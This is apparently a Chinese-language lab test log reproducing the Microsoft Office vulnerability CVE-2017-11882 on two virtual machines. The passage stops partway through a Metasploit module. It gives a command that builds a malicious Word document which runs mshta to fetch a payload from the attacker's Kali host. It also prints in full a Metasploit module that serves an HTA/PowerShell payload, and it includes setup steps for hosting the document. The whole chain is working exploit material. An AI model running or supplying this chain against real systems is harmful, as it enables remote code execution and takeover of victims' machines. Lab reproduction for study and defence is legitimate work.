Office隐藏17年的漏洞CVE_2017_11882测试记录

创建时间：	2017/11/25 0:18
作者：	CN_Simo
标签：	Office漏洞

参考文章1：https://www.cnblogs.com/Oran9e/p/7880832.html

参考文章2：https://www.cnblogs.com/i-honey/p/7885573.html

POC地址：https://github.com/Ridter/CVE-2017-11882/

中间环节出现，msf连接数据库失败的情况，解决方法：https://www.cnblogs.com/justforfun12/p/5205804.html

1.制造条件

这里搭建两台虚拟机进行测试！

测试机配置信息：

操作系统	Win7_x64 企业版
Office版本	Office 2013
防火墙状态	开启
IP	192.168.1.103
系统语言	Chinese

操作系统	Kali 2.1 中文
IP	192.168.1.104

首先在kali下安装nginx，或者tomcat应该也是可以的，首先将生成的doc文件放在/usr/share/nginx/html目录下，方便被攻击的机器获取doc文件。

启动nginx服务：systemctl start nginx

使用Command43b_CVE-2017-11882.py生成doc文件

python Command43b_CVE-2017-11882.py -c "mshta http://192.168.1.104:8080/abc";; -o cev2.doc

# 将下载好的漏洞模块放在msf任意目录下

root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

cve_2017_11882.rb的内容如下：

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpServer
  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
 